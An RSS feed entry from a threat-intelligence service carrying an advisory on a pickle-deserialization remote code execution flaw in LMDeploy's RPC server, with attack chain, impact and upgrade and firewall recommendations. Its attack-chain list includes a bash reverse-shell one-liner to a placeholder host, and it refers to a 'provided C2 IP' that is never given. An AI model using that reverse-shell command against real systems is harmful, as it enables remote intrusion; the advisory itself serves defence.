<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Lmdeploy (0.9.1 - 0.10.1) - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/lmdeploy-0.9.1---0.10.1/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Wed, 16 Sep 2026 19:07:09 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/lmdeploy-0.9.1---0.10.1/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Remote Code Execution in LMDeploy via Insecure Pickle Deserialization</title><link>https://feed.craftedsignal.io/briefs/2026-09-lmdeploy-rce/</link><pubDate>Wed, 16 Sep 2026 19:07:09 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-09-lmdeploy-rce/</guid><description>LMDeploy versions 0.9.1 through 0.10.1 are vulnerable to remote code execution due to insecure pickle deserialization within the AsyncRPCServer component, allowing attackers to execute arbitrary system commands.</description><content:encoded><![CDATA[<p>LMDeploy, a toolkit for compressing and deploying Large Language Models, contains a critical remote code execution vulnerability (CVE-2025-59953) affecting versions 0.9.1 through 0.10.1. The vulnerability exists within the AsyncRPCServer component, which implements an RPC mechanism using ZMQ. The server uses <code>pickle.loads()</code> to deserialize incoming RPC messages without sanitization. Because versions prior to 0.10.2 bound the RPC service to all network interfaces (<code>tcp://*</code>), a remote attacker capable of reaching the randomly assigned RPC port can submit a malicious pickle payload. Successful exploitation results in arbitrary command execution on the host machine. Version 0.10.2 addressed the remote exposure by defaulting the RPC server binding to localhost, though the underlying use of insecure pickle deserialization remains, requiring local security isolation.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker performs network reconnaissance to identify reachable LMDeploy RPC service ports on the target machine.</li>
<li>Attacker crafts a malicious pickle payload containing an arbitrary system command, such as a reverse shell trigger (e.g., <code>bash -c 'bash -i &gt;&amp; /dev/tcp/[IP]/[PORT] 0&gt;&amp;1'</code>).</li>
<li>Attacker initiates a ZMQ connection to the target RPC service port.</li>
<li>Attacker sends the crafted pickle-encoded data via the <code>call_and_response()</code> function interface.</li>
<li>The <code>AsyncRPCServer</code> receives the payload and passes it directly to <code>pickle.loads()</code>.</li>
<li>The Python interpreter deserializes the malicious object, triggering the execution of the embedded system command.</li>
<li>Attacker receives the reverse shell connection, granting full command execution capabilities on the host.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated remote attackers to achieve full system compromise. If the LMDeploy service is running with elevated privileges, the impact includes total control over the host machine, potential lateral movement within the network, and data exfiltration. The threat is critical for organizations deploying LMDeploy in production environments where the RPC service was inadvertently exposed to broader networks.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade all instances of LMDeploy to version 0.10.2 or later to address the remote exposure issue.</li>
<li>For environments where upgrading is not immediately possible, implement firewall rules to restrict access to the RPC ports to authorized local processes only.</li>
<li>If LMDeploy is required to interact across network boundaries, implement external authentication and encryption layers, as the current RPC protocol lacks native access control.</li>
<li>Perform a threat hunt for unexpected network connections to LMDeploy processes using the provided C2 IP as a starting point.</li>
</ol>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category></item></channel></rss>